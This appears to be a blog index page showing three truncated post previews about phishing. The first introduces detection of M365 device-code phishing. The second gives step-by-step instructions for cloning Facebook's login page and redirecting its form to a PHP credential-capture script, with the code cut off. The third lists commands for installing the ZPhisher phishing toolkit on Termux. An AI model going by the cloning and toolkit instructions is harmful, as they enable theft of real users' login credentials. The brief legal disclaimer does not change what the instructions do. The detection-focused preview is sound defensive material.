Cyber Creatures

  In this brilliant blog ( https://cybercreatures.blogspot.com/search/label/Phishing ) by @ Jay Bhatt , he introduced a method of phishing M365 accounts that threat actors can leverage by abusing device code authentication. There have been a lot of great blogs citing this technique but not much written about the detection… which is why I am here 🙂 The reason I am writing about this technique is that it’s significantly more difficult to detect than OAuth abuse for malicious application registrations. The reason for this is, the entire premise of the phish occurs within the microsoftonline.com namespace and does not redirect the user to any third-party website and there is no need for any 3rd party application authorization/registration. This method of phishing also bypasses MFA requirements as the attacker gains access to the user’s refresh and access token.  I wanted to revisit this technique and blog about a detection for this type of attack. As usual, I’ve broken this...

Capturing username and password using phishing page Legal disclaimer: Usage of phishing for attacking targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program S tep  1:  Install " Xampp " and " Start " the " Apache Service ". Step  2:  " Open facebook.com " and " Copy " the " Source Code " (ctrl + U) into a " Notepad File ". Search for " Action= " in the code and " replace " the " URL " following it with " capture.php " (only first 2 occurances needs to be changed) Save it as " index.html " Step 3:  " Create " a new " php file " and write the following code in it: <?php // Redirect header("Location:https://www.facebook.com/login/device-based/regul...

Requirements: Android Device Termux Steps To Install " ZPhisher " On " Termux " Without Error. First, Open Your Termux And Active Your Internet Connection And Then Start Using The Below Commands On Your Terminal, And Try To Use The Zphisher Script On Termux. Step 1: Open Your Termux, " Update ", And " Upgrade " Your " pkg " Repository By Using The Following Command.      pkg update && apt pkg -y Step 2: Install All The Dependencies That Are Required To Function ZPhisher Properly. ZPhisher Needs " PHP ", " wget ", " curl ", " OpenSSH ", And Git To Work Correctly. So Let's " Install " These Dependencies By Using The Below Command.      apt install git php openssh curl wget -y Step 3: Now, " Clone " The " ZPhisher " To Your Termux By Using The Git Command.      git clone https://github.com/htr-tech/zphisher Step 4: Go To The Directory.      cd zphisher...